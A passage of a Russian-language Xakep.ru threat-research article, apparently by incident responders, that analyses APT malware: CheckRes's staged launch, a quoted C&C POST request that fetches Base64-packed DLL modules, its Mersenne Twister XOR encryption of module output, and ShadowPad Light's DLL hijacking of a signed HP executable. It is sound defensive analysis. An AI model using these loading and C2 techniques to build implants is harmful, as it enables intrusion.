• Партнер

  • В 2021 году китай­ские APT-груп­пиров­ки вели себя осо­бен­но активно. При этом у каж­дой из них был свой уни­каль­ный инс­тру­мен­тарий. Перело­патив тысячи строк вре­донос­ного кода, пой­ман­ного во вре­мя рас­сле­дова­ния инци­ден­тов, мы обна­ружи­ли немало любопыт­ных фишек, о которых и рас­ска­жем в этой статье.
     

    CheckRes

     

    Загрузка

    Для запус­ка основной наг­рузки этот вре­донос исполь­зует пять фай­лов, которые пос­ледова­тель­но запус­кают друг дру­га. Как это работа­ет, вид­но на рисун­ке ниже. Основная наг­рузка запус­кает­ся фай­лом cmd, который появ­ляет­ся в сис­теме в самом начале работы вре­доно­са. Но при этом сам файл cmd запус­кает­ся еще не сущес­тву­ющим в сис­теме скрип­том на VBS. Такой ком­плексный под­ход к запус­ку основной наг­рузки, веро­ятно, нужен для того, что­бы обой­ти поведен­ческий ана­лиз.

    Схема загрузки CheckRes
    Схе­ма заг­рузки CheckRes
     

    Модули

    В начале работы полез­ной наг­рузки с уда­лен­ного сер­вера заг­ружа­ются модули.

    POST-зап­рос для получе­ния модуля
    POST /cgi-bin/pcupd.cgi/http/param_id.000 HTTP/1.0
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*
    Accept-Language: de-at
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
    Host: <IP>
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 31
    Connection: Keep-Alive
    lab=3999/06171252&size=1&data=F

    С сер­вера может быть выг­ружено до 16 модулей.

    Загрузка модулей CheckRes
    Заг­рузка модулей CheckRes

    Мо­дули при­ходят в теле HTTP-зап­роса. Они запако­ваны, закоди­рова­ны Base64 и окру­жены тегом <update>.

    Мо­дули пред­став­ляют собой DLL-фай­лы, где заголо­вок‑заг­лушка MS-DOS запол­нен нулями (вид­но на скрин­шоте ниже). При заг­рузке с C&C пар­сится таб­лица импортов и релока­ции. Пос­ле это­го для запус­ка модуля вызыва­ется entrypoint DLL-фай­ла, где про­исхо­дит соз­дание потока. Соз­дание потока необ­ходимо, если тре­бует­ся про­дол­житель­ная работа модуля, пос­коль­ку исполня­емый файл работа­ет в одном потоке.

    Заголовок модуля CheckRes
    За­голо­вок модуля CheckRes

    Каж­дый модуль выводит информа­цию о сво­ей работе в файл, который рас­положен по сле­дующе­му пути:

    %allusersprofile%\{F3F85CAE-3398-45f6-98C2-7DBFD3F3042C}

    Файл вывода каж­дого модуля име­ет свое рас­ширение (нап­ример, .cap, .kst, .rdd). Содер­жимое фай­ла зашиф­ровано при помощи опе­рации XOR с генера­тором псев­дослу­чай­ных чисел «Вихрь Мер­сенна».

     

    Вихрь Мерсенна

    Мо­дули для шиф­рования выход­ных дан­ных исполь­зуют нек­риптог­рафичес­кий генера­тор псев­дослу­чай­ных чисел «Вихрь Мер­сенна» с изна­чаль­ным зна­чени­ем (seed) 11. Все парамет­ры соот­ветс­тву­ют стан­дар­тно­му алго­рит­му для генера­ции 32-бит­ных зна­чений. В каж­дом модуле есть нес­коль­ко харак­терных осо­бен­ностей, свя­зан­ных с реали­заци­ей алго­рит­ма. Во‑пер­вых, это изна­чаль­ная ини­циали­зация мас­сива, которая пов­торя­ется два раза: при пер­вом запол­нении зна­чение seed уста­нав­лива­ется рав­ным 5489. Затем, никак не вли­яя на пре­дыду­щее запол­нение, мас­сив запол­няет­ся пов­торно со зна­чени­ем seed, рав­ным 11.

    Двукратная инициализация массива
    Двук­ратная ини­циали­зация мас­сива

    Есть еще одна осо­бен­ность: исполь­зует­ся мас­сив, рав­ный двум поряд­кам рекур­рен­тной пос­ледова­тель­нос­ти, а имен­но 1248. Таким обра­зом, изна­чаль­но ини­циали­зиру­ется пер­вая полови­на мас­сива, пос­ле чего сог­ласно алго­рит­му на осно­ве пер­вой час­ти генери­рует­ся вто­рая полови­на мас­сива. При исполь­зовании всех 624 сге­нери­рован­ных эле­мен­тов вто­рой полови­ны пер­вая затира­ется. А на осно­ве вто­рой полови­ны по рекур­рен­тно­му соот­ношению запол­няет­ся уже пер­вая.

    В ито­ге одна полови­на мас­сива всег­да содер­жит дан­ные для генера­ции дру­гой час­ти. Мож­но было бы пред­положить, что это сде­лано, что­бы упростить реали­зацию: исполь­зование одно­го цик­ла для запол­нения мас­сива уже псев­дослу­чай­ными чис­лами вмес­то двух. Но при запол­нении пер­вой час­ти все же при­ходит­ся делить алго­ритм запол­нения мас­сива на два цик­ла, как это реали­зова­но здесь.

    И пос­ледняя осо­бен­ность каса­ется «закал­ки» псев­дослу­чай­ного чис­ла. В изна­чаль­ном алго­рит­ме пред­полага­ется сна­чала битовый сдвиг на кон­стан­ту, а затем про­изво­дит­ся побито­вое логичес­кое И. Здесь же порядок изме­нен, что пов­лияло на кон­стан­ты, исполь­зуемые для этой опе­рации. Так, кон­стан­та 0xefc60000 здесь пред­став­лена в виде зна­чения 0xFFFFDF8C.

    Закаливание псевдослучайного числа
    За­кали­вание псев­дослу­чай­ного чис­ла
     

    ShadowPad Light 2021

    ShadowPad Light — облегчен­ная вер­сия ори­гиналь­ного ShadowPad без обфуска­ции кода. Нес­мотря на то что этот семпл очень похож на ори­гиналь­ный ShadowPad, у него есть свои осо­бен­ности.

     

    Загрузка

    ShadowPad Light пос­тавля­ется тре­мя фай­лами:

    • hpdigital.exe — легитим­ный исполня­емый файл, име­ющий под­пись ком­пании HP;
    • hpqhvsei.dll — вре­донос­ная биб­лиоте­ка, заг­ружа­ется пос­редс­твом тех­ники DLL hijacking;
    • hpqlpvdt.tmp — шиф­рован­ная наг­рузка, которая содер­жит рас­паков­щик и полез­ную вре­донос­ную наг­рузку, так­же хра­нит в себе пер­воначаль­ный необ­ходимый для работы набор модулей.

    Продолжение доступно только участникам

    Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

    Присоединяйся к сообществу «Xakep.ru»!

    Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

    Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии